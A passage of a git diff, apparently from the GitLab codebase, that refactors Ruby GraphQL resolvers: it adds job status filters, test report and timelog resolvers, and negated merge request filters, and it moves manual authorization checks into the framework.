+ description <<~MD
+ Linted and processed contents of a CI config.
+ Should not be requested more than once per request.
+ MD
authorize :read_pipeline
@@ -55,7 +59,7 @@ module Resolvers
name: job[:name],
stage: job[:stage],
group_name: CommitStatus.new(name: job[:name]).group_name,
- needs: job.dig(:needs) || [],
+ needs: job[:needs] || [],
allow_failure: job[:allow_failure],
before_script: job[:before_script],
script: job[:script],
diff --git a/app/graphql/resolvers/ci/jobs_resolver.rb b/app/graphql/resolvers/ci/jobs_resolver.rb
index dd565094017..5ae9e721cc8 100644
--- a/app/graphql/resolvers/ci/jobs_resolver.rb
+++ b/app/graphql/resolvers/ci/jobs_resolver.rb
@@ -11,7 +11,18 @@ module Resolvers
required: false,
description: 'Filter jobs by the type of security report they produce.'
- def resolve(security_report_types: [])
+ argument :statuses, [::Types::Ci::JobStatusEnum],
+ required: false,
+ description: 'Filter jobs by status.'
+
+ def resolve(statuses: nil, security_report_types: [])
+ jobs = init_collection(security_report_types)
+ jobs = jobs.with_status(statuses) if statuses.present?
+
+ jobs
+ end
+
+ def init_collection(security_report_types)
if security_report_types.present?
::Security::SecurityJobsFinder.new(
pipeline: pipeline,
diff --git a/app/graphql/resolvers/ci/pipeline_stages_resolver.rb b/app/graphql/resolvers/ci/pipeline_stages_resolver.rb
index 98170e0cd2e..a458e873935 100644
--- a/app/graphql/resolvers/ci/pipeline_stages_resolver.rb
+++ b/app/graphql/resolvers/ci/pipeline_stages_resolver.rb
@@ -16,7 +16,7 @@ module Resolvers
def preloads
{
- statuses: [:needs]
+ jobs: { latest_statuses: [:needs] }
}
end
end
diff --git a/app/graphql/resolvers/ci/runner_platforms_resolver.rb b/app/graphql/resolvers/ci/runner_platforms_resolver.rb
index 9677c5139b4..f120e94b67b 100644
--- a/app/graphql/resolvers/ci/runner_platforms_resolver.rb
+++ b/app/graphql/resolvers/ci/runner_platforms_resolver.rb
@@ -3,7 +3,8 @@
module Resolvers
module Ci
class RunnerPlatformsResolver < BaseResolver
- type Types::Ci::RunnerPlatformType, null: false
+ type Types::Ci::RunnerPlatformType.connection_type, null: true
+ description 'Supported runner platforms.'
def resolve(**args)
runner_instructions.map do |platform, data|
diff --git a/app/graphql/resolvers/ci/runner_setup_resolver.rb b/app/graphql/resolvers/ci/runner_setup_resolver.rb
index ac2a56b89a7..9166999b400 100644
--- a/app/graphql/resolvers/ci/runner_setup_resolver.rb
+++ b/app/graphql/resolvers/ci/runner_setup_resolver.rb
@@ -3,30 +3,37 @@
module Resolvers
module Ci
class RunnerSetupResolver < BaseResolver
+ ACCESS_DENIED = 'User is not authorized to register a runner for the specified resource!'
+
type Types::Ci::RunnerSetupType, null: true
+ description 'Runner setup instructions.'
- argument :platform, GraphQL::STRING_TYPE,
- required: true,
- description: 'Platform to generate the instructions for.'
+ argument :platform,
+ type: GraphQL::STRING_TYPE,
+ required: true,
+ description: 'Platform to generate the instructions for.'
- argument :architecture, GraphQL::STRING_TYPE,
- required: true,
- description: 'Architecture to generate the instructions for.'
+ argument :architecture,
+ type: GraphQL::STRING_TYPE,
+ required: true,
+ description: 'Architecture to generate the instructions for.'
- argument :project_id, ::Types::GlobalIDType[::Project],
- required: false,
- description: 'Project to register the runner for.'
+ argument :project_id,
+ type: ::Types::GlobalIDType[::Project],
+ required: false,
+ deprecated: { reason: 'No longer used', milestone: '13.11' },
+ description: 'Project to register the runner for.'
- argument :group_id, ::Types::GlobalIDType[::Group],
- required: false,
- description: 'Group to register the runner for.'
+ argument :group_id,
+ type: ::Types::GlobalIDType[::Group],
+ required: false,
+ deprecated: { reason: 'No longer used', milestone: '13.11' },
+ description: 'Group to register the runner for.'
def resolve(platform:, architecture:, **args)
instructions = Gitlab::Ci::RunnerInstructions.new(
- current_user: current_user,
os: platform,
- arch: architecture,
- **target_param(args)
+ arch: architecture
)
{
@@ -34,11 +41,15 @@ module Resolvers
register_instructions: instructions.register_command
}
ensure
- raise Gitlab::Graphql::Errors::ResourceNotAvailable, 'User is not authorized to register a runner for the specified resource!' if instructions.errors.include?('Gitlab::Access::AccessDeniedError')
+ raise Gitlab::Graphql::Errors::ResourceNotAvailable, ACCESS_DENIED if access_denied?(instructions)
end
private
+ def access_denied?(instructions)
+ instructions.errors.include?('Gitlab::Access::AccessDeniedError')
+ end
+
def other_install_instructions(platform)
Gitlab::Ci::RunnerInstructions::OTHER_ENVIRONMENTS[platform.to_sym][:installation_instructions_url]
end
diff --git a/app/graphql/resolvers/ci/test_report_summary_resolver.rb b/app/graphql/resolvers/ci/test_report_summary_resolver.rb
new file mode 100644
index 00000000000..22db70f032a
--- /dev/null
+++ b/app/graphql/resolvers/ci/test_report_summary_resolver.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Resolvers
+ module Ci
+ class TestReportSummaryResolver < BaseResolver
+ type ::Types::Ci::TestReportSummaryType, null: true
+
+ alias_method :pipeline, :object
+
+ def resolve(**args)
+ TestReportSummarySerializer
+ .new(project: pipeline.project, current_user: @current_user)
+ .represent(pipeline.test_report_summary)
+ end
+ end
+ end
+end
diff --git a/app/graphql/resolvers/ci/test_suite_resolver.rb b/app/graphql/resolvers/ci/test_suite_resolver.rb
new file mode 100644
index 00000000000..90cc30b1281
--- /dev/null
+++ b/app/graphql/resolvers/ci/test_suite_resolver.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module Resolvers
+ module Ci
+ class TestSuiteResolver < BaseResolver
+ include Gitlab::Graphql::Authorize::AuthorizeResource
+
+ type ::Types::Ci::TestSuiteType, null: true
+ authorize :read_build
+ authorizes_object!
+
+ alias_method :pipeline, :object
+
+ argument :build_ids, [GraphQL::ID_TYPE],
+ required: true,
+ description: 'IDs of the builds used to run the test suite.'
+
+ def resolve(build_ids:)
+ builds = pipeline.latest_builds.id_in(build_ids).presence
+ return unless builds
+
+ TestSuiteSerializer
+ .new(project: pipeline.project, current_user: @current_user)
+ .represent(load_test_suite_data(builds), details: true)
+ end
+
+ private
+
+ def load_test_suite_data(builds)
+ suite = builds.sum do |build|
+ build.collect_test_reports!(Gitlab::Ci::Reports::TestReports.new)
+ end
+
+ Gitlab::Ci::Reports::TestFailureHistory.new(suite.failed.values, pipeline.project).load!
+
+ suite
+ end
+ end
+ end
+end
diff --git a/app/graphql/resolvers/concerns/board_issue_filterable.rb b/app/graphql/resolvers/concerns/board_issue_filterable.rb
index 1541738f46c..3484a1cc4ba 100644
--- a/app/graphql/resolvers/concerns/board_issue_filterable.rb
+++ b/app/graphql/resolvers/concerns/board_issue_filterable.rb
@@ -7,10 +7,10 @@ module BoardIssueFilterable
def issue_filters(args)
filters = args.to_h
+
set_filter_values(filters)
if filters[:not]
- filters[:not] = filters[:not].to_h
set_filter_values(filters[:not])
end
@@ -18,6 +18,17 @@ module BoardIssueFilterable
end
def set_filter_values(filters)
+ filter_by_assignee(filters)
+ end
+
+ def filter_by_assignee(filters)
+ if filters[:assignee_username] && filters[:assignee_wildcard_id]
+ raise ::Gitlab::Graphql::Errors::ArgumentError, 'Incompatible arguments: assigneeUsername, assigneeWildcardId.'
+ end
+
+ if filters[:assignee_wildcard_id]
+ filters[:assignee_id] = filters.delete(:assignee_wildcard_id)
+ end
end
end
diff --git a/app/graphql/resolvers/concerns/issue_resolver_arguments.rb b/app/graphql/resolvers/concerns/issue_resolver_arguments.rb
index 84b0dafe213..0ff3997f3bc 100644
--- a/app/graphql/resolvers/concerns/issue_resolver_arguments.rb
+++ b/app/graphql/resolvers/concerns/issue_resolver_arguments.rb
@@ -12,10 +12,10 @@ module IssueResolverArguments
argument :iids, [GraphQL::STRING_TYPE],
required: false,
description: 'List of IIDs of issues. For example, [1, 2].'
- argument :label_name, GraphQL::STRING_TYPE.to_list_type,
+ argument :label_name, [GraphQL::STRING_TYPE, null: true],
required: false,
description: 'Labels applied to this issue.'
- argument :milestone_title, GraphQL::STRING_TYPE.to_list_type,
+ argument :milestone_title, [GraphQL::STRING_TYPE, null: true],
required: false,
description: 'Milestone applied to this issue.'
argument :author_username, GraphQL::STRING_TYPE,
@@ -23,7 +23,8 @@ module IssueResolverArguments
description: 'Username of the author of the issue.'
argument :assignee_username, GraphQL::STRING_TYPE,
required: false,
- description: 'Username of a user assigned to the issue.'
+ description: 'Username of a user assigned to the issue.',
+ deprecated: { reason: 'Use `assigneeUsernames`', milestone: '13.11' }
argument :assignee_usernames, [GraphQL::STRING_TYPE],
required: false,
description: 'Usernames of users assigned to the issue.'
@@ -55,6 +56,10 @@ module IssueResolverArguments
as: :issue_types,
description: 'Filter issues by the given issue types.',
required: false
+ argument :not, Types::Issues::NegatedIssueFilterInputType,
+ description: 'List of negated params.',
+ prepare: ->(negated_args, ctx) { negated_args.to_h },
+ required: false
end
def resolve_with_lookahead(**args)
@@ -69,11 +74,22 @@ module IssueResolverArguments
args[:iids] ||= [args.delete(:iid)].compact if args[:iid]
args[:attempt_project_search_optimizations] = true if args[:search].present?
+ prepare_assignee_username_params(args)
+
finder = IssuesFinder.new(current_user, args)
continue_issue_resolve(parent, finder, **args)
end
+ def ready?(**args)
+ if args.slice(*mutually_exclusive_assignee_username_args).compact.size > 1
+ arg_str = mutually_exclusive_assignee_username_args.map { |x| x.to_s.camelize(:lower) }.join(', ')
+ raise Gitlab::Graphql::Errors::ArgumentError, "only one of [#{arg_str}] arguments is allowed at the same time."
+ end
+
+ super
+ end
+
class_methods do
def resolver_complexity(args, child_complexity:)
complexity = super
@@ -82,4 +98,15 @@ module IssueResolverArguments
complexity
end
end
+
+ private
+
+ def prepare_assignee_username_params(args)
+ args[:assignee_username] = args.delete(:assignee_usernames) if args[:assignee_usernames].present?
+ args[:not][:assignee_username] = args[:not].delete(:assignee_usernames) if args.dig(:not, :assignee_usernames).present?
+ end
+
+ def mutually_exclusive_assignee_username_args
+ [:assignee_usernames, :assignee_username]
+ end
end
diff --git a/app/graphql/resolvers/concerns/looks_ahead.rb b/app/graphql/resolvers/concerns/looks_ahead.rb
index 77a85edfba6..644b2a11460 100644
--- a/app/graphql/resolvers/concerns/looks_ahead.rb
+++ b/app/graphql/resolvers/concerns/looks_ahead.rb
@@ -15,12 +15,7 @@ module LooksAhead
end
def apply_lookahead(query)
- selection = node_selection
-
- includes = preloads.each.flat_map do |name, requirements|
- selection&.selects?(name) ? requirements : []
- end
- all_preloads = (unconditional_includes + includes).uniq
+ all_preloads = (unconditional_includes + filtered_preloads).uniq
return query if all_preloads.empty?
@@ -37,6 +32,14 @@ module LooksAhead
{}
end
+ def filtered_preloads
+ selection = node_selection
+
+ preloads.each.flat_map do |name, requirements|
+ selection&.selects?(name) ? requirements : []
+ end
+ end
+
def node_selection
return unless lookahead
diff --git a/app/graphql/resolvers/concerns/manual_authorization.rb b/app/graphql/resolvers/concerns/manual_authorization.rb
deleted file mode 100644
index 182110b9594..00000000000
--- a/app/graphql/resolvers/concerns/manual_authorization.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-# TODO: remove this entirely when framework authorization is released
-# See: https://gitlab.com/gitlab-org/gitlab/-/issues/290216
-module ManualAuthorization
- def resolve(**args)
- super
- rescue ::Gitlab::Graphql::Errors::ResourceNotAvailable
- nil
- end
-end
diff --git a/app/graphql/resolvers/concerns/resolves_merge_requests.rb b/app/graphql/resolvers/concerns/resolves_merge_requests.rb
index 31444b0c592..75f1ee478a8 100644
--- a/app/graphql/resolvers/concerns/resolves_merge_requests.rb
+++ b/app/graphql/resolvers/concerns/resolves_merge_requests.rb
@@ -50,7 +50,8 @@ module ResolvesMergeRequests
approved_by: [:approved_by_users],
milestone: [:milestone],
security_auto_fix: [:author],
- head_pipeline: [:merge_request_diff, { head_pipeline: [:merge_request] }]
+ head_pipeline: [:merge_request_diff, { head_pipeline: [:merge_request] }],
+ timelogs: [:timelogs]
}
end
end
diff --git a/app/graphql/resolvers/concerns/resolves_snippets.rb b/app/graphql/resolvers/concerns/resolves_snippets.rb
index 445f3567b1d..8de85c074ec 100644
--- a/app/graphql/resolvers/concerns/resolves_snippets.rb
+++ b/app/graphql/resolvers/concerns/resolves_snippets.rb
@@ -4,7 +4,7 @@ module ResolvesSnippets
extend ActiveSupport::Concern
included do
- type Types::SnippetType.connection_type, null: false
+ type Types::SnippetType.connection_type, null: true
argument :ids, [::Types::GlobalIDType[::Snippet]],
required: false,
diff --git a/app/graphql/resolvers/echo_resolver.rb b/app/graphql/resolvers/echo_resolver.rb
index 0c7dad622cf..a09b0a1fd87 100644
--- a/app/graphql/resolvers/echo_resolver.rb
+++ b/app/graphql/resolvers/echo_resolver.rb
@@ -5,8 +5,10 @@ module Resolvers
type ::GraphQL::STRING_TYPE, null: false
description 'Testing endpoint to validate the API with'
- argument :text, GraphQL::STRING_TYPE, required: true,
- description: 'Text to echo back.'
+ argument :text,
+ type: GraphQL::STRING_TYPE,
+ required: true,
+ description: 'Text to echo back.'
def resolve(text:)
username = current_user&.username
diff --git a/app/graphql/resolvers/environments_resolver.rb b/app/graphql/resolvers/environments_resolver.rb
index ed3395d05aa..df04e70e250 100644
--- a/app/graphql/resolvers/environments_resolver.rb
+++ b/app/graphql/resolvers/environments_resolver.rb
@@ -21,7 +21,7 @@ module Resolvers
def resolve(**args)
return unless project.present?
- EnvironmentsFinder.new(project, context[:current_user], args).find
+ EnvironmentsFinder.new(project, context[:current_user], args).execute
rescue EnvironmentsFinder::InvalidStatesError => exception
raise Gitlab::Graphql::Errors::ArgumentError, exception.message
end
diff --git a/app/graphql/resolvers/group_members_resolver.rb b/app/graphql/resolvers/group_members_resolver.rb
index 36e1977b756..d3662b08cdf 100644
--- a/app/graphql/resolvers/group_members_resolver.rb
+++ b/app/graphql/resolvers/group_members_resolver.rb
@@ -13,12 +13,6 @@ module Resolvers
private
- def preloads
- {
- user: [:user, :source]
- }
- end
-
def finder_class
GroupMembersFinder
end
diff --git a/app/graphql/resolvers/group_merge_requests_resolver.rb b/app/graphql/resolvers/group_merge_requests_resolver.rb
index 2bad974daf7..34a4c67bc56 100644
--- a/app/graphql/resolvers/group_merge_requests_resolver.rb
+++ b/app/graphql/resolvers/group_merge_requests_resolver.rb
@@ -4,7 +4,7 @@ module Resolvers
class GroupMergeRequestsResolver < MergeRequestsResolver
include GroupIssuableResolver
- alias_method :group, :synchronized_object
+ alias_method :group, :object
type Types::MergeRequestType.connection_type, null: true
diff --git a/app/graphql/resolvers/group_milestones_resolver.rb b/app/graphql/resolvers/group_milestones_resolver.rb
index 179283fd7b7..31280b36278 100644
--- a/app/graphql/resolvers/group_milestones_resolver.rb
+++ b/app/graphql/resolvers/group_milestones_resolver.rb
@@ -1,22 +1,40 @@
# frozen_string_literal: true
-# rubocop:disable Graphql/ResolverType (inherited from MilestonesResolver)
module Resolvers
class GroupMilestonesResolver < MilestonesResolver
argument :include_descendants, GraphQL::BOOLEAN_TYPE,
required: false,
- description: 'Also return milestones in all subgroups and subprojects.'
+ description: 'Include milestones from all subgroups and subprojects.'
+ argument :include_ancestors, GraphQL::BOOLEAN_TYPE,
+ required: false,
+ description: 'Include milestones from all parent groups.'
type Types::MilestoneType.connection_type, null: true
private
def parent_id_parameters(args)
- return { group_ids: parent.id } unless args[:include_descendants].present?
+ include_ancestors = args[:include_ancestors].present?
+ include_descendants = args[:include_descendants].present?
+ return { group_ids: parent.id } unless include_ancestors || include_descendants
+
+ group_ids = if include_ancestors && include_descendants
+ parent.self_and_hierarchy
+ elsif include_ancestors
+ parent.self_and_ancestors
+ else
+ parent.self_and_descendants
+ end
+
+ project_ids = if include_descendants
+ group_projects.with_issues_or_mrs_available_for_user(current_user)
+ else
+ nil
+ end
{
- group_ids: parent.self_and_descendants.public_or_visible_to_user(current_user).select(:id),
- project_ids: group_projects.with_issues_or_mrs_available_for_user(current_user)
+ group_ids: group_ids.public_or_visible_to_user(current_user).select(:id),
+ project_ids: project_ids
}
end
diff --git a/app/graphql/resolvers/issues_resolver.rb b/app/graphql/resolvers/issues_resolver.rb
index ac3bdda0f12..7a67f115abf 100644
--- a/app/graphql/resolvers/issues_resolver.rb
+++ b/app/graphql/resolvers/issues_resolver.rb
@@ -44,7 +44,8 @@ module Resolvers
{
alert_management_alert: [:alert_management_alert],
labels: [:labels],
- assignees: [:assignees]
+ assignees: [:assignees],
+ timelogs: [:timelogs]
}
end
diff --git a/app/graphql/resolvers/members_resolver.rb b/app/graphql/resolvers/members_resolver.rb
index 76c3ae936ee..2b731d54cdd 100644
--- a/app/graphql/resolvers/members_resolver.rb
+++ b/app/graphql/resolvers/members_resolver.rb
@@ -21,6 +21,12 @@ module Resolvers
private
+ def preloads
+ {
+ user: [:user, :source]
+ }
+ end
+
def finder_class
# override in subclass
end
diff --git a/app/graphql/resolvers/merge_request_resolver.rb b/app/graphql/resolvers/merge_request_resolver.rb
index 8fd33c6626e..c431d079beb 100644
--- a/app/graphql/resolvers/merge_request_resolver.rb
+++ b/app/graphql/resolvers/merge_request_resolver.rb
@@ -4,14 +4,14 @@ module Resolvers
class MergeRequestResolver < BaseResolver.single
include ResolvesMergeRequests
- alias_method :project, :synchronized_object
+ alias_method :project, :object
type ::Types::MergeRequestType, null: true
argument :iid, GraphQL::STRING_TYPE,
- required: true,
- as: :iids,
- description: 'IID of the merge request, for example `1`.'
+ required: true,
+ as: :iids,
+ description: 'IID of the merge request, for example `1`.'
def no_results_possible?(args)
project.nil?
diff --git a/app/graphql/resolvers/merge_requests_resolver.rb b/app/graphql/resolvers/merge_requests_resolver.rb
index ecbdaaa3f55..a9eea4ae4b8 100644
--- a/app/graphql/resolvers/merge_requests_resolver.rb
+++ b/app/graphql/resolvers/merge_requests_resolver.rb
@@ -3,42 +3,49 @@
module Resolvers
class MergeRequestsResolver < BaseResolver
include ResolvesMergeRequests
+ extend ::Gitlab::Graphql::NegatableArguments
type ::Types::MergeRequestType.connection_type, null: true
- alias_method :project, :synchronized_object
+ alias_method :project, :object
def self.accept_assignee
argument :assignee_username, GraphQL::STRING_TYPE,
- required: false,
- description: 'Username of the assignee.'
+ required: false,
+ description: 'Username of the assignee.'
end
def self.accept_author
argument :author_username, GraphQL::STRING_TYPE,
- required: false,
- description: 'Username of the author.'
+ required: false,
+ description: 'Username of the author.'
end
def self.accept_reviewer
argument :reviewer_username, GraphQL::STRING_TYPE,
- required: false,
- description: 'Username of the reviewer.'
+ required: false,
+ description: 'Username of the reviewer.'
end
argument :iids, [GraphQL::STRING_TYPE],
- required: false,
- description: 'Array of IIDs of merge requests, for example `[1, 2]`.'
+ required: false,
+ description: 'Array of IIDs of merge requests, for example `[1, 2]`.'
argument :source_branches, [GraphQL::STRING_TYPE],
required: false,
as: :source_branch,
- description: 'Array of source branch names. All resolved merge requests will have one of these branches as their source.'
+ description: <<~DESC
+ Array of source branch names.
+ All resolved merge requests will have one of these branches as their source.
+ DESC
argument :target_branches, [GraphQL::STRING_TYPE],
required: false,
as: :target_branch,
- description: 'Array of target branch names. All resolved merge requests will have one of these branches as their target.'
+ description: <<~DESC
+ Array of target branch names.
+ All resolved merge requests will have one of these branches as their target.
+ DESC
argument :state, ::Types::MergeRequestStateEnum,
required: false,
@@ -62,6 +69,16 @@ module Resolvers
required: false,
default_value: :created_desc
+ negated do
+ argument :labels, [GraphQL::STRING_TYPE],
+ required: false,
+ as: :label_name,
+ description: 'Array of label names. All resolved merge requests will not have these labels.'
+ argument :milestone_title, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Title of the milestone.'
+ end
+
def self.single
::Resolvers::MergeRequestResolver
end
diff --git a/app/graphql/resolvers/metrics/dashboard_resolver.rb b/app/graphql/resolvers/metrics/dashboard_resolver.rb
index a82a4a95254..0669fececd5 100644
--- a/app/graphql/resolvers/metrics/dashboard_resolver.rb
+++ b/app/graphql/resolvers/metrics/dashboard_resolver.rb
@@ -8,15 +8,16 @@ module Resolvers
argument :path, GraphQL::STRING_TYPE,
required: true,
- description: "Path to a file which defines metrics dashboard " \
- "eg: 'config/prometheus/common_metrics.yml'."
+ description: <<~MD
+ Path to a file which defines a metrics dashboard eg: `"config/prometheus/common_metrics.yml"`.
+ MD
alias_method :environment, :object
- def resolve(**args)
+ def resolve(path:)
return unless environment
- ::PerformanceMonitoring::PrometheusDashboard.find_for(**args, **service_params)
+ ::PerformanceMonitoring::PrometheusDashboard.find_for(path: path, **service_params)
end
private
diff --git a/app/graphql/resolvers/milestones_resolver.rb b/app/graphql/resolvers/milestones_resolver.rb
index 9a715e4d08b..c94e3d9e1d8 100644
--- a/app/graphql/resolvers/milestones_resolver.rb
+++ b/app/graphql/resolvers/milestones_resolver.rb
@@ -7,7 +7,7 @@ module Resolvers
argument :ids, [GraphQL::ID_TYPE],
required: false,
- description: 'Array of global milestone IDs, e.g., "gid://gitlab/Milestone/1".'
+ description: 'Array of global milestone IDs, e.g., `"gid://gitlab/Milestone/1"`.'
argument :state, Types::MilestoneStateEnum,
required: false,
@@ -56,7 +56,7 @@ module Resolvers
end
def parent
- synchronized_object
+ object
end
def parent_id_parameters(args)
diff --git a/app/graphql/resolvers/package_details_resolver.rb b/app/graphql/resolvers/package_details_resolver.rb
index e688e34599a..89d79747732 100644
--- a/app/graphql/resolvers/package_details_resolver.rb
+++ b/app/graphql/resolvers/package_details_resolver.rb
@@ -2,12 +2,20 @@
module Resolvers
class PackageDetailsResolver < BaseResolver
- type ::Types::Packages::PackageType, null: true
+ type ::Types::Packages::PackageDetailsType, null: true
argument :id, ::Types::GlobalIDType[::Packages::Package],
required: true,
description: 'The global ID of the package.'
+ def ready?(**args)
+ context[self.class] ||= { executions: 0 }
+ context[self.class][:executions] += 1
+ raise GraphQL::ExecutionError, "Package details can be requested only for one package at a time" if context[self.class][:executions] > 1
+
+ super
+ end
+
def resolve(id:)
# TODO: remove this line when the compatibility layer is removed
# See: https://gitlab.com/gitlab-org/gitlab/-/issues/257883
diff --git a/app/graphql/resolvers/project_jobs_resolver.rb b/app/graphql/resolvers/project_jobs_resolver.rb
new file mode 100644
index 00000000000..75068014242
--- /dev/null
+++ b/app/graphql/resolvers/project_jobs_resolver.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class ProjectJobsResolver < BaseResolver
+ include Gitlab::Graphql::Authorize::AuthorizeResource
+ include LooksAhead
+
+ type ::Types::Ci::JobType.connection_type, null: true
+ authorize :read_build
+ authorizes_object!
+
+ argument :statuses, [::Types::Ci::JobStatusEnum],
+ required: false,
+ description: 'Filter jobs by status.'
+
+ alias_method :project, :object
+
+ def ready?(**args)
+ context[self.class] ||= { executions: 0 }
+ context[self.class][:executions] += 1
+ raise GraphQL::ExecutionError, "Jobs can only be requested for one project at a time" if context[self.class][:executions] > 1
+
+ super
+ end
+
+ def resolve_with_lookahead(statuses: nil)
+ jobs = ::Ci::JobsFinder.new(current_user: current_user, project: project, params: { scope: statuses }).execute
+
+ apply_lookahead(jobs)
+ end
+
+ private
+
+ def preloads
+ {
+ artifacts: [:job_artifacts],
+ pipeline: [:user]
+ }
+ end
+ end
+end
diff --git a/app/graphql/resolvers/project_pipeline_resolver.rb b/app/graphql/resolvers/project_pipeline_resolver.rb
index 8fca6b829c0..aa8808b15ac 100644
--- a/app/graphql/resolvers/project_pipeline_resolver.rb
+++ b/app/graphql/resolvers/project_pipeline_resolver.rb
@@ -31,7 +31,7 @@ module Resolvers
end
else
BatchLoader::GraphQL.for(sha).batch(key: project) do |shas, loader, args|
- finder = ::Ci::PipelinesFinder.new(project, current_user, shas: shas)
+ finder = ::Ci::PipelinesFinder.new(project, current_user, sha: shas)
finder.execute.each { |pipeline| loader.call(pipeline.sha.to_s, pipeline) }
end
diff --git a/app/graphql/resolvers/projects/services_resolver.rb b/app/graphql/resolvers/projects/services_resolver.rb
index f618bf2df77..ec31a7dbe6d 100644
--- a/app/graphql/resolvers/projects/services_resolver.rb
+++ b/app/graphql/resolvers/projects/services_resolver.rb
@@ -3,11 +3,11 @@
module Resolvers
module Projects
class ServicesResolver < BaseResolver
- prepend ManualAuthorization
include Gitlab::Graphql::Authorize::AuthorizeResource
type Types::Projects::ServiceType.connection_type, null: true
authorize :admin_project
+ authorizes_object!
argument :active,
GraphQL::BOOLEAN_TYPE,
@@ -20,15 +20,7 @@ module Resolvers
alias_method :project, :object
- def resolve(**args)
- authorize!(project)
-
- services(args[:active], args[:type])
- end
-
- private
-
- def services(active, type)
+ def resolve(active: nil, type: nil)
servs = project.services
servs = servs.by_active_flag(active) unless active.nil?
servs = servs.by_type(type) unless type.blank?
diff --git a/app/graphql/resolvers/repository_branch_names_resolver.rb b/app/graphql/resolvers/repository_branch_names_resolver.rb
new file mode 100644
index 00000000000..45cfe229b2f
--- /dev/null
+++ b/app/graphql/resolvers/repository_branch_names_resolver.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class RepositoryBranchNamesResolver < BaseResolver
+ type ::GraphQL::STRING_TYPE, null: false
+
+ calls_gitaly!
+
+ argument :search_pattern, GraphQL::STRING_TYPE,
+ required: true,
+ description: 'The pattern to search for branch names by.'
+
+ def resolve(search_pattern:)
+ Repositories::BranchNamesFinder.new(object, search: search_pattern).execute
+ end
+ end
+end
diff --git a/app/graphql/resolvers/snippets/blobs_resolver.rb b/app/graphql/resolvers/snippets/blobs_resolver.rb
index 569b82149d3..4328d38d485 100644
--- a/app/graphql/resolvers/snippets/blobs_resolver.rb
+++ b/app/graphql/resolvers/snippets/blobs_resolver.rb
@@ -3,12 +3,12 @@
module Resolvers
module Snippets
class BlobsResolver < BaseResolver
- prepend ManualAuthorization
include Gitlab::Graphql::Authorize::AuthorizeResource
type Types::Snippets::BlobType.connection_type, null: true
authorize :read_snippet
calls_gitaly!
+ authorizes_object!
alias_method :snippet, :object
@@ -17,7 +17,6 @@ module Resolvers
description: 'Paths of the blobs.'
def resolve(paths: [])
- authorize!(snippet)
return [snippet.blob] if snippet.empty_repo?
if paths.empty?
diff --git a/app/graphql/resolvers/timelog_resolver.rb b/app/graphql/resolvers/timelog_resolver.rb
new file mode 100644
index 00000000000..aebd04259ee
--- /dev/null
+++ b/app/graphql/resolvers/timelog_resolver.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class TimelogResolver < BaseResolver
+ include LooksAhead
+
+ type ::Types::TimelogType.connection_type, null: false
+
+ argument :start_date, Types::TimeType,
+ required: false,
+ description: 'List time logs within a date range where the logged date is equal to or after startDate.'
+
+ argument :end_date, Types::TimeType,
+ required: false,
+ description: 'List time logs within a date range where the logged date is equal to or before endDate.'
+
+ argument :start_time, Types::TimeType,
+ required: false,
+ description: 'List time-logs within a time range where the logged time is equal to or after startTime.'
+
+ argument :end_time, Types::TimeType,
+ required: false,
+ description: 'List time-logs within a time range where the logged time is equal to or before endTime.'
+
+ def resolve_with_lookahead(**args)
+ return Timelog.none unless timelogs_available_for_user?
+
+ validate_params_presence!(args)
+ transformed_args = transform_args(args)
+ validate_time_difference!(transformed_args)
+
+ find_timelogs(transformed_args)
+ end
+
+ private
+
+ def preloads
+ {
+ note: [:note]
+ }
+ end
+
+ def find_timelogs(args)
+ apply_lookahead(group.timelogs(args[:start_time], args[:end_time]))
+ end
+
+ def timelogs_available_for_user?
+ group&.user_can_access_group_timelogs?(context[:current_user])
+ end
+
+ def validate_params_presence!(args)
+ message = case time_params_count(args)
+ when 0
+ 'Start and End arguments must be present'
+ when 1
+ 'Both Start and End arguments must be present'
+ when 2
+ validate_duplicated_args(args)
+ when 3 || 4
+ 'Only Time or Date arguments must be present'
+ end
+
+ raise_argument_error(message) if message
+ end
+
+ def validate_time_difference!(args)
+ message = if args[:end_time] < args[:start_time]
+ 'Start argument must be before End argument'
+ elsif args[:end_time] - args[:start_time] > 60.days
+ 'The time range period cannot contain more than 60 days'
+ end
+
+ raise_argument_error(message) if message
+ end
+
+ def transform_args(args)
+ return args if args.keys == [:start_time, :end_time]
+
+ time_args = args.except(:start_date, :end_date)
+
+ if time_args.empty?
+ time_args[:start_time] = args[:start_date].beginning_of_day
+ time_args[:end_time] = args[:end_date].end_of_day
+ elsif time_args.key?(:start_time)
+ time_args[:end_time] = args[:end_date].end_of_day
+ elsif time_args.key?(:end_time)
+ time_args[:start_time] = args[:start_date].beginning_of_day
+ end
+
+ time_args
+ end
+
+ def time_params_count(args)
+ [:start_time, :end_time, :start_date, :end_date].count { |param| args.key?(param) }
+ end
+
+ def validate_duplicated_args(args)
+ if args.key?(:start_time) && args.key?(:start_date) ||
+ args.key?(:end_time) && args.key?(:end_date)
+ 'Both Start and End arguments must be present'
+ end
+ end
+
+ def raise_argument_error(message)
+ raise Gitlab::Graphql::Errors::ArgumentError, message
+ end
+
+ def group
+ @group ||= object.respond_to?(:sync) ? object.sync : object
+ end
+ end
+end
diff --git a/app/graphql/resolvers/user_merge_requests_resolver_base.rb b/app/graphql/resolvers/user_merge_requests_resolver_base.rb
index 47967fe69f9..221a43f691d 100644
--- a/app/graphql/resolvers/user_merge_requests_resolver_base.rb
+++ b/app/graphql/resolvers/user_merge_requests_resolver_base.rb
@@ -4,16 +4,24 @@ module Resolvers
class UserMergeRequestsResolverBase < MergeRequestsResolver
include ResolvesProject
- argument :project_path, GraphQL::STRING_TYPE,
- required: false,
- description: 'The full-path of the project the authored merge requests should be in. Incompatible with projectId.'
+ argument :project_path,
+ type: GraphQL::STRING_TYPE,
+ required: false,
+ description: <<~DESC
+ The full-path of the project the authored merge requests should be in.
+ Incompatible with projectId.
+ DESC
- argument :project_id, ::Types::GlobalIDType[::Project],
- required: false,
- description: 'The global ID of the project the authored merge requests should be in. Incompatible with projectPath.'
+ argument :project_id,
+ type: ::Types::GlobalIDType[::Project],
+ required: false,
+ description: <<~DESC
+ The global ID of the project the authored merge requests should be in.
+ Incompatible with projectPath.
